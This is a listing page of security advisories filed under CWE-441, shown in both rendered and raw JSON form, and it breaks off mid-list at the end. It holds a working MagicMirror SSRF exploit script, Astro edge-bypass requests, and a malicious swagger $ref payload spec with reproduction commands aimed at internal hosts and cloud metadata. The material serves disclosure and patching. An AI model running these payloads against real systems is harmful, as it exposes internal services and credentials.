Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

187 vulnerabilities reference this CWE, most recent first.

GHSA-W6X9-28JW-HQ7J

Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26
VLAI
Summary
MagicMirror: ssrf calendar .js
Details

Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.

Identification

Field Value
PoC file exploit-ssrf-calendar.js
Endpoint socket.io namespace /calendar, notification ADD_CALENDAR
Precondition reach the mirror's HTTP port (no authentication required)

Description

The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls: - the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." }); - the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).

Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

Exploit (exploit-ssrf-calendar.js)

const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
    if (event === "CALENDAR_EVENTS") {
        console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
        for (const ev of payload.events || []) {
            console.log("    SUMMARY:", ev.title);
            if (ev.title && ev.title.includes("FLAG{")) {
                console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
                console.log("      " + ev.title);
                process.exit(0);
            }
        }
    } else if (event === "CALENDAR_ERROR") {
        console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
    }
});

socket.on("connect", () => {
    console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
    console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
    socket.emit("ADD_CALENDAR", {
        url: INTERNAL_URL,
        fetchInterval: 60000,
        excludedEvents: [],
        maximumEntries: 10,
        maximumNumberOfDays: 3650,
        auth: { method: "bearer", pass: "internal-admin-token" },
        broadcastPastEvents: true,
        selfSignedCert: true,
        id: "pwn"
    });
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

  • Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
  • Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
  • Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
  • TLS bypass via selfSignedCert: true.
  • Internal port scanning through error/timing differences.
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 SSRF via `ADD_CALENDAR` (MagicMirror\u00b2 calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever \u2014 unlike the project\u0027s hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target\u0027s response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` \u2014 turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don\u0027t see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\"    SUMMARY:\", ev.title);\n\t\t\tif (ev.title \u0026\u0026 ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\"      \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n  if (notification === \"ADD_CALENDAR\") {\n    const fetcher = new CalendarFetcher(\n      payload.url,\n      payload.fetchInterval,\n      payload.excludedEvents,\n      payload.maximumEntries,\n      payload.maximumNumberOfDays,\n      payload.auth,\n      payload.broadcastPastEvents,\n      payload.selfSignedCert\n    );\n    fetcher.fetchCalendar();\n  }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker\u0027s network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---",
  "id": "GHSA-w6x9-28jw-hq7j",
  "modified": "2026-08-18T17:26:51Z",
  "published": "2026-08-18T17:26:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror: ssrf calendar .js"
}

GHSA-W7QG-JG9C-W9MM

Vulnerability from github – Published: 2026-08-10 21:32 – Updated: 2026-08-11 21:32
VLAI
Details

A flaw was found in the odh-model-controller. An authenticated user with permissions to create custom resources can exploit a vulnerability in the loadSecret function. This function improperly reads the Secret namespace from user-controlled input without validation. This allows an attacker to read sensitive API keys and cloud credentials from other namespaces, leading to information disclosure.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-16456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T21:17:19Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the `odh-model-controller`. An authenticated user with permissions to create custom resources can exploit a vulnerability in the `loadSecret` function. This function improperly reads the Secret namespace from user-controlled input without validation. This allows an attacker to read sensitive API keys and cloud credentials from other namespaces, leading to information disclosure.",
  "id": "GHSA-w7qg-jg9c-w9mm",
  "modified": "2026-08-11T21:32:32Z",
  "published": "2026-08-10T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16456"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53261"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53262"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53263"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-16456"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2503159"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WG33-5H85-7Q5P

Vulnerability from github – Published: 2025-02-06 17:07 – Updated: 2025-02-06 19:54
VLAI
Summary
Mitmweb API Authentication Bypass Using Proxy Server
Details

Impact

In mitmweb 11.1.0 and below, a malicious client can use mitmweb's proxy server (bound to *:8080 by default) to access mitmweb's internal API (bound to 127.0.0.1:8081 by default). In other words, while the client cannot access the API directly (good), they can access the API through the proxy (bad). An attacker may be able to escalate this SSRF-style access to remote code execution.

The mitmproxy and mitmdump tools are unaffected. Only mitmweb is affected. The block_global option, which is enabled by default, blocks connections originating from publicly-routable IP addresses in the proxy. The attacker needs to be in the same local network.

Patches

The vulnerability has been fixed in mitmproxy 11.1.2 and above.

Acknowledgements

We thank Stefan Grönke (@gronke) for reporting this vulnerability as part of a security audit by Radically Open Security. This audit was supported by the NGI0 Entrust fund established by NLnet.

Timeline

  • 2025-01-14: Received initial report.
  • 2025-01-14: Verified report and confirmed receipt.
  • 2025-01-19: Shared patch with researcher.
  • 2025-02-04: Received final confirmation that patch is working.
  • 2025-02-05: Published patched release and advisory.
Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mitmproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-23217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-06T17:07:41Z",
    "nvd_published_at": "2025-02-06T18:15:32Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nIn mitmweb 11.1.0 and below, a malicious client can use mitmweb\u0027s proxy server (bound to `*:8080` by default) to access mitmweb\u0027s internal API (bound to `127.0.0.1:8081` by default). In other words, while the client cannot access the API directly (good), they can access the API through the proxy (bad). An attacker may be able to escalate this [SSRF](https://en.wikipedia.org/wiki/Server-side_request_forgery)-style access to remote code execution.\n\nThe mitmproxy and mitmdump tools are unaffected. Only mitmweb is affected. The `block_global` option, which is enabled by default, blocks connections originating from publicly-routable IP addresses in the proxy. The attacker needs to be in the same local network.\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 11.1.2 and above.\n\n### Acknowledgements\n\nWe thank Stefan Gr\u00f6nke (@gronke) for reporting this vulnerability as part of a security audit by [Radically Open Security](https://www.radicallyopensecurity.com/). This audit was supported by the [NGI0 Entrust fund](https://nlnet.nl/entrust/) established by [NLnet](https://nlnet.nl/).\n\n### Timeline\n\n- **2025-01-14**: Received initial report. \n- **2025-01-14**: Verified report and confirmed receipt.\n- **2025-01-19**: Shared patch with researcher.\n- **2025-02-04**: Received final confirmation that patch is working.\n- **2025-02-05**: Published patched release and advisory.",
  "id": "GHSA-wg33-5h85-7q5p",
  "modified": "2025-02-06T19:54:56Z",
  "published": "2025-02-06T17:07:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-wg33-5h85-7q5p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mitmproxy/mitmproxy/commit/fa89055e196d953f11fd241e36ee37858993486a"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Server-side_request_forgery"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mitmproxy/mitmproxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mitmproxy/mitmproxy/blob/main/CHANGELOG.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mitmproxy/mitmproxy/blob/main/CHANGELOG.md#06-february-2025-mitmproxy-1112"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mitmweb API Authentication Bypass Using Proxy Server"
}

GHSA-X27W-589X-FRM2

Vulnerability from github – Published: 2026-07-20 23:25 – Updated: 2026-08-17 17:12
VLAI
Summary
Astro: Unauthenticated path override in the @astrojs/vercel ISR function
Details

Summary

When ISR is enabled, the serverless entrypoint lets an unauthenticated request decide which route the origin renders. The internal _isr function reads the x_astro_path query parameter and rewrites the request path to it without any authentication. Edge level access controls only ever see the /_isr path, so they do not apply to the route that actually gets rendered. This is the same confused deputy problem as CVE-2026-33768, reachable again through the ISR path.

Impact

This affects apps that use @astrojs/vercel with isr: true and protect routes at the edge. Two common setups are affected:

  1. Path rules or firewall deny rules configured on Vercel (for example blocking /admin).
  2. Split deployments (edgeMiddleware: true) where authorization lives in Astro middleware, since that middleware runs at the edge and not in the origin.

An attacker reads any GET rendered route by requesting /_isr?x_astro_path=/the/protected/path. No credentials are required. The protected content is produced by a fresh origin render, so the attack does not depend on the response being cached first.

Details

packages/integrations/vercel/src/serverless/entrypoint.ts picks the real path like this:

if (hasValidMiddlewareSecret) {
  realPath = request.headers.get(ASTRO_PATH_HEADER);       // secret checked
} else if (request.headers.get('x-vercel-isr') === '1') {
  realPath = url.searchParams.get(ASTRO_PATH_PARAM);        // no secret checked
}

The header path is gated by the per build secret and is fine. The ISR branch is not. Two facts make it reachable by anyone:

  1. The _isr function is publicly addressable.
  2. Vercel sets x-vercel-isr: 1 on requests to it, including direct external requests, so the attacker does not even need to send that header.

So GET /_isr?x_astro_path=/admin sets the internal path to /admin and renders it. The edge saw only /_isr, which is allowed, so any path based rule on /admin never fires. In split deployments the edge middleware also runs against /_isr, and the origin does not run middleware at all, so middleware based auth is skipped as well.

How this regressed

CVE-2026-33768 was fixed in 10.0.2 by commit 335a204161 (PR #15959), which required the secret for every path override and removed the query parameter source. Commit aa266364fe (PR #16079, "Fix ISR path rewrite to prevent 404") brought the query parameter back, guarded only by the x-vercel-isr header. That header is not a security boundary, so the fix was effectively undone for ISR routes starting in 10.0.3.

Worth noting the contrast: the original report treated Edge Middleware as the mitigation and scoped the issue to deployments without it. Here, for split deployments, Edge Middleware is bypassed too, since the attacker reaches /_isr directly and the middleware only sees /_isr while the origin runs none.

Proof of concept

  1. Create an Astro app with output: 'server' and adapter vercel({ isr: true }).
  2. Add a page at /admin that returns sensitive content.
  3. Deny /admin at the edge, for example a Vercel path rule that returns 403, or a middleware auth check in a split (edgeMiddleware: true) build.
  4. Request /admin. It is blocked (403).
  5. Request /_isr?x_astro_path=/admin. It returns 200 with the admin content. The response header X-Vercel-Cache: MISS confirms it was rendered fresh, not served from an existing cache entry.

What is not affected

  1. Classic (non split) middleware. It runs inside the origin against the rewritten path, so it still applies to the target route.
  2. State changing requests. Vercel serves ISR functions for GET only, and returns 403 for POST, PUT and DELETE, so the method preserving variant of CVE-2026-33768 does not reproduce here. Impact is limited to reading (confidentiality).
  3. Whole deployment protection (Vercel SSO or password), which also covers /_isr.

Severity

Unauthenticated read of any GET rendered route that is protected only at the edge. No integrity or availability impact because the vector is GET only.

Suggested fix

One option would be to require the secret again for path overrides, the way PR #15959 did, so the ISR branch stops trusting the client supplied x_astro_path. The 404 that PR #16079 was fixing would then need another approach that does not rely on client input.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/vercel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.3"
            },
            {
              "fixed": "11.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:25:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nWhen ISR is enabled, the serverless entrypoint lets an unauthenticated request\ndecide which route the origin renders. The internal `_isr` function reads the\n`x_astro_path` query parameter and rewrites the request path to it without any\nauthentication. Edge level access controls only ever see the `/_isr` path, so\nthey do not apply to the route that actually gets rendered. This is the same\nconfused deputy problem as CVE-2026-33768, reachable again through the ISR path.\n\n## Impact\nThis affects apps that use `@astrojs/vercel` with `isr: true` and protect routes\nat the edge. Two common setups are affected:\n\n1. Path rules or firewall deny rules configured on Vercel (for example blocking\n   `/admin`).\n2. Split deployments (`edgeMiddleware: true`) where authorization lives in Astro\n   middleware, since that middleware runs at the edge and not in the origin.\n\nAn attacker reads any GET rendered route by requesting\n`/_isr?x_astro_path=/the/protected/path`. No credentials are required. The\nprotected content is produced by a fresh origin render, so the attack does not\ndepend on the response being cached first.\n\n## Details\n`packages/integrations/vercel/src/serverless/entrypoint.ts` picks the real path\nlike this:\n\n```js\nif (hasValidMiddlewareSecret) {\n  realPath = request.headers.get(ASTRO_PATH_HEADER);       // secret checked\n} else if (request.headers.get(\u0027x-vercel-isr\u0027) === \u00271\u0027) {\n  realPath = url.searchParams.get(ASTRO_PATH_PARAM);        // no secret checked\n}\n```\n\nThe header path is gated by the per build secret and is fine. The ISR branch is\nnot. Two facts make it reachable by anyone:\n\n1. The `_isr` function is publicly addressable.\n2. Vercel sets `x-vercel-isr: 1` on requests to it, including direct external\n   requests, so the attacker does not even need to send that header.\n\nSo `GET /_isr?x_astro_path=/admin` sets the internal path to `/admin` and renders\nit. The edge saw only `/_isr`, which is allowed, so any path based rule on\n`/admin` never fires. In split deployments the edge middleware also runs against\n`/_isr`, and the origin does not run middleware at all, so middleware based auth\nis skipped as well.\n\n## How this regressed\nCVE-2026-33768 was fixed in 10.0.2 by commit 335a204161 (PR #15959), which\nrequired the secret for every path override and removed the query parameter\nsource. Commit aa266364fe (PR #16079, \"Fix ISR path rewrite to prevent 404\")\nbrought the query parameter back, guarded only by the `x-vercel-isr` header. That\nheader is not a security boundary, so the fix was effectively undone for ISR\nroutes starting in 10.0.3.\n\nWorth noting the contrast: the original report treated Edge Middleware as the\nmitigation and scoped the issue to deployments without it. Here, for split\ndeployments, Edge Middleware is bypassed too, since the attacker reaches `/_isr`\ndirectly and the middleware only sees `/_isr` while the origin runs none.\n\n## Proof of concept\n1. Create an Astro app with `output: \u0027server\u0027` and adapter\n   `vercel({ isr: true })`.\n2. Add a page at `/admin` that returns sensitive content.\n3. Deny `/admin` at the edge, for example a Vercel path rule that returns 403, or\n   a middleware auth check in a split (`edgeMiddleware: true`) build.\n4. Request `/admin`. It is blocked (403).\n5. Request `/_isr?x_astro_path=/admin`. It returns 200 with the admin content.\n   The response header `X-Vercel-Cache: MISS` confirms it was rendered fresh, not\n   served from an existing cache entry.\n\n## What is not affected\n1. Classic (non split) middleware. It runs inside the origin against the rewritten\n   path, so it still applies to the target route.\n2. State changing requests. Vercel serves ISR functions for GET only, and returns\n   403 for POST, PUT and DELETE, so the method preserving variant of CVE-2026-33768\n   does not reproduce here. Impact is limited to reading (confidentiality).\n3. Whole deployment protection (Vercel SSO or password), which also covers `/_isr`.\n\n## Severity\nUnauthenticated read of any GET rendered route that is protected only at the edge.\nNo integrity or availability impact because the vector is GET only.\n\n## Suggested fix\nOne option would be to require the secret again for path overrides, the way\nPR #15959 did, so the ISR branch stops trusting the client supplied `x_astro_path`.\nThe 404 that PR #16079 was fixing would then need another approach that does not\nrely on client input.",
  "id": "GHSA-x27w-589x-frm2",
  "modified": "2026-08-17T17:12:10Z",
  "published": "2026-07-20T23:25:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-x27w-589x-frm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/16079"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/17370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/3a43cf0f3690a8e33cb30109bc5165611cf38fcd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/aa266364fe9e105317b66e218fe04567307fb57f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@11.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Unauthenticated path override in the @astrojs/vercel ISR function"
}

GHSA-X36R-4347-PM5X

Vulnerability from github – Published: 2026-07-29 14:28 – Updated: 2026-07-29 14:28
VLAI
Summary
swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`
Details

Summary

swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.

The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).

Details

SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:

// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
  if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
    return;
  }
  const visited = new Set<string>();
  const queue = [this.stripHash(this.config.url)];

  while (queue.length > 0) {
    const currentUrl = queue.shift();
    if (!currentUrl || visited.has(currentUrl)) continue;
    visited.add(currentUrl);

    if (this.externalSchemaCache.has(currentUrl)) continue;
    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // <-- HTTP GET
    if (!schema) continue;
    this.externalSchemaCache.set(currentUrl, schema);

    for (const ref of this.extractRefsFromSchema(schema)) {
      const normalizedRef = this.normalizeRef(ref);
      if (normalizedRef.startsWith("#")) continue;

      const [externalPath = ""] = normalizedRef.split("#");
      if (!externalPath) continue;

      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
      if (absoluteUrl && !visited.has(absoluteUrl)) {
        queue.push(absoluteUrl);                                       // <-- recurse
      }
    }
  }
}

The fetch itself:

// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…and the only URL-shape filter:

// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
  return /^https?:\/\//i.test(value);
}

There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.

Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).

PoC

Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "SSRF-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  httpClientType: 'fetch'
}))"

Observed (control vs payload):

[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:<internal-port>

The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.

Impact

Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.

Affected use cases:

  • A developer running sta generate --url https://attacker.example/openapi.json against an attacker-hosted spec.
